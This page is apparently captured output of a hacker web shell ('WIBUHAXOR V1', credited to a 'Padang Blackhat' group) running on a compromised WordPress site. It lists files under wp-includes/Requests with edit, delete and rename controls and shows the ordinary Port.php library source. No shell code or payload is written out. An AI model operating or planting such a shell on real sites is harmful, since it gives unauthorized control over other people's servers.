-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-includes
/
Requests
/
src
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
Auth
--
NONE
Cookie
--
NONE
Exception
--
NONE
Proxy
--
NONE
Response
--
NONE
Transport
--
NONE
Utility
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
Auth.php
0.84KB
Edit File
Delete File
Rename
Autoload.php
9.116KB
Edit File
Delete File
Rename
Capability.php
0.637KB
Edit File
Delete File
Rename
Cookie.php
15.028KB
Edit File
Delete File
Rename
Exception.php
1.088KB
Edit File
Delete File
Rename
HookManager.php
0.692KB
Edit File
Delete File
Rename
Hooks.php
2.961KB
Edit File
Delete File
Rename
IdnaEncoder.php
12.144KB
Edit File
Delete File
Rename
Ipv6.php
5.507KB
Edit File
Delete File
Rename
Iri.php
28.928KB
Edit File
Delete File
Rename
Port.php
1.47KB
Edit File
Delete File
Rename
Proxy.php
0.847KB
Edit File
Delete File
Rename
Requests.php
33.204KB
Edit File
Delete File
Rename
Response.php
4.181KB
Edit File
Delete File
Rename
Session.php
8.894KB
Edit File
Delete File
Rename
Ssl.php
5.298KB
Edit File
Delete File
Rename
Transport.php
1.508KB
Edit File
Delete File
Rename
<?php /** * Port utilities for Requests * * @package Requests\Utilities * @since 2.0.0 */ namespace WpOrg\Requests; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; /** * Find the correct port depending on the Request type. * * @package Requests\Utilities * @since 2.0.0 */ final class Port { /** * Port to use with Acap requests. * * @var int */ const ACAP = 674; /** * Port to use with Dictionary requests. * * @var int */ const DICT = 2628; /** * Port to use with HTTP requests. * * @var int */ const HTTP = 80; /** * Port to use with HTTP over SSL requests. * * @var int */ const HTTPS = 443; /** * Retrieve the port number to use. * * @param string $type Request type. * The following requests types are supported: * 'acap', 'dict', 'http' and 'https'. * * @return int * * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed. * @throws \WpOrg\Requests\Exception When a non-supported port is requested ('portnotsupported'). */ public static function get($type) { if (!is_string($type)) { throw InvalidArgument::create(1, '$type', 'string', gettype($type)); } $type = strtoupper($type); if (!defined("self::{$type}")) { $message = sprintf('Invalid port type (%s) passed', $type); throw new Exception($message, 'portnotsupported'); } return constant("self::{$type}"); } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat